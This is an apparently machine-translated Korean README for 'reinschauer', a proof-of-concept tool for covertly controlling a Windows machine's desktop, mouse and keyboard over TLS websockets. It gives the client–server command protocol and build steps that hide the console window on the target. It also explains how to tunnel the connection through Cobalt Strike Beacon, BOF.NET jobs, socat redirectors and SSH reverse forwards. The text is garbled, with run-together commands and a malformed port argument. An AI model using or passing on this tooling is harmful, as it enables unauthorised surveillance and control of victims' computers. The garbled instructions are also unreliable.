
매우 좋습니다.

Websocket을 통해 Windows 머신을 원격으로 제어하는 PoC입니다. 자세한 내용은 제 블로그에서 확인하세요.


reinschauer는 원시 비트맵을 JPEG로 변환하고 결과 데이터를 압축한 후 네트워크로 전송하여 프레임 크기를 줄입니다.
server 폴더의 스크립트를 사용하여 TLS 서버 파일을 생성하거나 직접 준비한 파일을 사용할 수 있습니다.reinschauer-server -h를 사용하세요.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
빌드하는 방법은?
>=1.18 설치sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
이 저장소에는 dotnet 변형의 사전 빌드 및 독립 실행형 버전이 포함되어 있습니다. 직접 빌드하려면 Visual Studio 프로젝트 파일을 사용하여 x64 Release 변형을 빌드하세요. 자동으로 수행되지 않으면 Visual Studio를 통해 프로젝트에 필요한 NuGet 패키지를 다운로드하세요. 대상 시스템에도 이러한 패키지가 설치되어 있지 않을 가능성이 높으므로 대상에서 결과 exe를 실행할 때 DLL이 누락될 수 있습니다. 이 문제를 해결하기 위해 이 프로젝트는 ILMerge.exe를 자동으로 호출하여 결과 exe를 필요한 라이브러리와 함께 번들합니다. 따라서 대상에서는 reinschauer-dotnet-standalone.exe라는 생성된 파일을 사용하세요.
먼저
go get으로 필요한 것들을 받아야 할 수도 있습니다.-ldflags -H=windowsgui를 사용하여 콘솔 창을 비활성화하세요.
클라이언트/서버는 무엇인가요?
client는 대상(Windows) 머신에서 실행됩니다.server구성 요소는 테스터의 (Linux) 머신에서 실행됩니다. 기본적으로0.0.0.0:6969에서 수신 대기합니다. Golang과 C# 클라이언트 모두 서버와 호환됩니다.
이것은 HVNC / 숨겨진 데스크톱인가요?
아니요. 사용자와 동일한 데스크톱을 사용합니다.
일부 키 및 키 조합이 작동하지 않습니다. 수정해주세요
현재 |, @, §가 작동하지 않을 수 있다는 것을 알고 있습니다. 적어도 제 독일산 감자 키보드에서는요. 수정해주세요.
클라이언트가 CPU 시간을 너무 많이 사용합니다
더 낮은 FPS 값을 사용하면 해결될 수 있습니다.
client와 server 사이에 직접 연결이 없습니다
CobaltStrike Beacon을 사용하여 트래픽을 터널링할 수 있습니다.
Cobaltstrike가 없어요!
다음과 같은
socat리디렉터를 사용하세요:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
그리고 필요한 매개변수로 클라이언트를 시작하거나 해당 매개변수를 하드코딩하세요.
먼저, 매뉴얼에 따라 BOF.NET을 설정하세요. 또한 bofnet_load <Path to Exe>로 독립 실행형 exe를 로드하세요. 그런 다음 Reinschauer를 사용하는 방법을 결정하세요:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. 이렇게 하면 Reinschauer가 대상 머신의 127.0.0.1에 있는 127.0.0.1:6969로 자동으로 연결됩니다. 어차피 Beacon 연결을 사용하므로 TLS도 비활성화됩니다.bofnet_jobkill <Job ID>를 사용하세요.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. 부울 매개변수는 TLS 사용을 활성화합니다.bofnet_jobkill <Job ID>를 사용하세요.그런 다음 SSH와 GatewayPorts 기능을 사용하세요: sshd_config에 GatewayPorts: clientspecified를 추가하고 SSH 서버를 다시 시작하세요. 그러면 ssh -R '0.0.0.0:8080:localhost:6969'' [...]로 로컬 포트 6969를 0.0.0.0:8080에서 사용할 수 있게 됩니다. 조심하세요 :)
또는 서버에 socat 리디렉터를 설정하세요:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>